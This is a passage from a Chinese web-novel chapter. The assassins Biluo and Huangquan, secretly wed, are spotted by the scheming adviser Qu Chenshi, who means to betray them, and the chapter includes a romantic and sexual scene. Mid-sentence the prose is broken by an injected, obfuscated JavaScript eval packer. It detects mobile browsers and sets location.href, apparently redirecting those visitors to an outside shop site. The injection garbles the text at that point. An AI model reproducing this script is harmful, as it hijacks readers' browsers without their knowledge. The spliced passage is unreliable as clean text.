老头只看了黄泉一眼,视线就立刻落在了他身后的碧落身上。 耸拉着的眼皮撑了起来,花白杂乱的眉毛颤动着,狭长的眼睛中射出一道无法掩饰的目光,直刺向碧落。 碧落看到来人是屈辰时,也怔愣了一瞬。 因为这人认识自己。 是当年反对立她为皇太女,反对得最凶的一波人。 可今日这人,却有些奇怪。 若她没看错的话,这人看见自己和黄泉二人时,混浊的眼中竟然有一丝狰狞的喜意。 22. 就是命好 在屈辰时看来,自己这一生是壮志未酬的。 虽然早早做了了镇北侯的幕僚,也深受信任和器重,但他却生在一个牝鸡司晨的朝廷。 当年的后楚皇帝也算是一代守成之主,可唯独在储君一事上,简直像中了风一样! 竟然立一个女子为储! 他曾劝镇北侯,对待自己的后世江山都能如此儿戏的皇帝不值得追随,无论是投靠北方的大殷,还是自立为王,都是条出路。 唯独不可在这将来会由女人当权污糟朝廷继续待下去! 可镇北侯对后楚的忠心,实在超出他的想象。 殷朝大兵压境,镇北侯不投降,不后撤,为了那样一个朝廷,为了那样一个储君,满门战死! 当年,镇北侯将身边最后一队亲卫派给他,请他看在这多年情谊的份上,护着周家的幺子周令在这乱世中活下去。 他心灰意冷,只想冷笑。 呵!多年情谊? 若是你早早自立为王,那我便是开国元勋,封侯拜相,荫庇子孙,一人之下万人之上。就算是你带着全家投奔殷朝,凭我的才智也绝不可能只做个幕僚那么简单! 可你……非要当后楚的镇北侯! 当多年的知遇之恩在自己身上打下镇北侯一党的烙印,连他的誓死不降也一并变成了他的,他想独自去投靠殷朝都不能! 如今,他只剩下了周令这一个筹码了。 后楚已灭,周家再无可效忠之主。而周令这孩子,果决很辣,胸有沟壑,假以时日,一统天下也并非没有可能。 可,周令还有时日,他却没有了。 是以,当玄辰卫联系上他,让他做埋伏在周令身边的眼线时,他几乎没有犹豫便答应了。 人至暮年,这是他最后一搏了。 朱克和齐山在潞城盘踞已久,朝廷想要收回这一咽喉航道,却无暇分兵,于是便想借周令之手,攻下潞城,再趁机取周令而代之,夺回潞城的控制权。 潞城,便是他的第一份投名状。 煌山堂和幽夜司,纵横江湖多年,两派的顶尖杀手碧落和黄泉神龙见首不见尾,无人知道他们的真实身份,而他全都知道。 在合适的时机,将两人的行踪泄露给朝廷,让朝廷能顺利将二人顺利捕获,这便是他的第二份投名状。 运送武器盔甲出潞城的那次,就是他的第一次尝试,他让周令向煌山堂和幽夜司同时寻求帮助,便是想将二人聚在一起,方便一网打尽。 谁知,这两人战力如此了得,竟将杀退了玄辰卫。 前些日子,他又收到了玄辰卫的消息,朝廷被激怒,迫切地想要知道黄泉的消息。 可他只知道黄泉和碧落二人此时应该都在潞城附近,却不知两人的具体下落。 因此,在得知黄泉就在港口的消息时,他便迫不及待地亲自来这一趟! 没想到,踏破铁鞋无觅处,得来全不费工夫,碧落和黄泉二人竟然都在港口! 屈辰时在短暂的惊喜后,心头便升起疑惑:这两人为何会在一起?且黄泉还是这副衣衫不整的模样? 等等!碧落梳得怎么是个妇人发髻?眼前这两人看起来,分明是…… 怎会这样?! 这两人什么时候成的亲?! 煌山堂和幽夜司是什么时候联盟的?! 屈辰时在电光火石间便得猜到了真相,他惊得说不出话来。 黄泉与屈辰时没什么交集,只知道他是一直跟在周令身边的旧部。但见他双眼放光地盯着碧落看,黄泉立刻就明白了,这人是认识碧落的,或者说,认识义华公主。 黄泉把碧落严严实实挡在身后,同时胸中涌起一股被再次欺骗的怒气,质问道:“周令究竟是什么意思?” 碧落直觉屈辰时的表情不对,且此时身份已然暴露,多说多错,不如不说。 况且,她早就看着老头不顺眼了,看见这人也只想把他扔海里去,根本不会给他任何好脸色。 她直接拉着黄泉目不斜视地走了,连眼神都没分给屈辰时一个:“跟他有什么好说的,他就是周令手底下一办事儿的。” 碧落的傲慢与生俱来,她的睥睨并不源于她心中的鄙夷,只是在高位坐久了,便养成了这种凡事不过眼的漫不经心。 但这对汲汲一生都在追求被看见、被重用的屈辰时而言,无异于奇耻大辱! 他转身,目光阴沉,盯着碧落的背影,心中恨意滔天。 好,就让周令亲自来看看,或许都不需要朝廷动手,知道真相的周令自己就能结果两人的性命! 碧落拉着黄泉回了小院,先把一身臭汗的黄泉扔进浴房洗涮一遍,洗干净了,才让人进卧房。 黄泉顶着一头湿发进来,就见碧落正倚在小塌上,正看一封信。 她有些热,褪去了遮盖严实的交领,只穿一件齐胸襦裙,他昨晚在那白如凝脂的肩背上留下的红痕,便露了出来。 黄泉有些口干舌燥。 见他进来,碧落将手中的信纸递给他:“无常留下的,说是那天跟踪你的那人,后来去了朱克那一趟。” 黄泉收回视线,强行让自己的心思转移到正事儿上,开始看那封信。 “你觉得是朱克的人吗?”他问。 碧落摇摇头:“不确定,朱克的确有心在将军府和你身边安插探子,除了我以为,再派出个把人手也是可能的。但信上说他在县令府门口等了一阵,才进得府,这又有些奇怪,朱克会不认识自己的人吗?” 黄泉:“或许是看门的下人不认识。” 碧落:“也有可能。再盯一阵子吧。” 她抬眸看了他一眼,道:“幽夜司里有周令的人。你觉得呢?” 黄泉缓缓点头:“我猜到了。或许不是他的人,但心也不在幽夜司了。他们应当是想跟着周令干。” 碧落从小榻上站起来,比黄泉还要高一些,她走到榻边,和黄泉挨得很近,两人呼吸交错。 黄泉仰头看着她,感觉到她微凉的手轻轻捧起他的面颊,抚摸他的耳朵和鬓发。 他配合着将脸贴在她手里,寻求安慰似的蹭了蹭,虽然他对幽夜司里有人想跟着周令干这件事一点也不关心。 突然,他觉得耳朵一疼,一侧脸就被碧落揪着耳朵拎了起来。 “跟你说过,别被周令骗了!离他远点!你有没有在听!”碧落趴在他耳边,咬牙切齿道。 黄泉却低低笑了起来,也不去管被揪疼的耳朵,双臂搂着碧落的腰,将她从小榻上抱起来,低头吻吮着近在眼前的绵软。 碧落不想这人居然能这样,被他突如其来的吻激得脚趾都蜷了起来,反应过来后,又气得双手都去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308240|197351||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揪他的耳朵。 黄泉根本不管那么多,就着被揪耳朵的力道抬头,又凶狠地吻上她的唇。 宛如中午那个意犹未尽的吻的继续,黄泉撬开她的唇舌,深入,□□,吮吸,没什么技巧,就像昨晚那样,凭借着本能,将自己汹涌的爱意都倾注在怀中的人身上。 碧落只觉这人失去了神智,怎么好好正说着话呢,又亲上来! 可她实在挣不开这人的怀抱,不一会儿就被亲得头脑发昏,手脚发软,脸颊和耳尖很容易得红了起来,不知是热得还是被亲的。 黄泉抱着她转到里间,将还在迷糊的人压在宽敞的床榻上,亲吻不停,手探下去,目的昭然若揭。 眼看着一场白日宣淫不可避免,碧落一下子醒过神来,腰腹猛然用力,将人掀了过去,她坐在他的腰上。 两人位置调转,气氛却更热烈起来。 黄泉眸色一沉,还在作乱的手正趁机想更进一步,却被碧落羞恼地按住,她气道:“你怎么不听我说!” 黄泉躺在床榻上,仰头看妻子红着脸瞪她,几缕发丝垂在脸侧,风情不减。 他深吸一口气,努力平复着体内的火,认错认得很果断:“我错了……夫人不要生气,是我孟浪了。” 他爹当年惹他娘生气的时候就是这么做的,最后两人都会又重新滚到床上,便什么气都消了。 碧落一拳打在棉花上,又被人亲得失去了那说一不二的气势,只得先狼狈地从他身上下来。 “屈老头这事,你准备怎么办?把周令叫来吗?他欠你一个解释。”碧落还是下意识替他打抱不平。 黄泉侧头看着碧落,看了一会儿,突兀道:“你先回潞城吧。不要待在港口了。” 碧落疑惑:“为什么?屈老头肯定会把今天的事跟周令说,凭他的脑子,一定能猜到我们联盟了,他肯定要对你发难,我不走!” 黄泉叹了口气,翻身,撒娇般搂住她的腰:“周令不但能猜到我们联盟了,还会猜到咱们成亲了。” “他一定会嫉妒我,嫉妒得发疯,然后来港口想尽办法抢走你。” “我怕我抢不过他,只能让他找不到你,他找不到你,就抢不走你了。” 碧落:“……” 碧落完全没料到他是这么想的,又气又笑,心里又漫上一股难以言喻的满足感。 黄泉对她的珍视和占有带着孩子气,显得纯粹而小心翼翼。 这种从未有过的感觉让碧落难以招架,她既怕贸然回绝伤了他的心,又怕答应了以后他还会胡思乱想。 就像昨晚那样,明明不断攀升的快感已然让她觉得难以招架,可每每望进他那双亮晶晶的眼睛里,又会舍不得推开他。 “你少来这套!”碧落很大声,企图用理智的讨论来摆脱这种难耐的感觉,“你想太多了。周令没那么多闲工夫,他不日就要用兵,此时他必须坐镇后方,不可擅动,更不会孤身一人来港口。总之!我不会回潞城的。就算周令真的来了,我也要看看,他究竟能怎么样!” 见劝她不懂,黄泉埋首在她腰间,有些委屈地叹了口气,心道,我或许不了解周令,但我了解男人,没有哪个男人能受得了这个。 唉!等着吧,周令肯定已经在路上了。 果不其然。 三日后的傍晚,周令人就已经到了。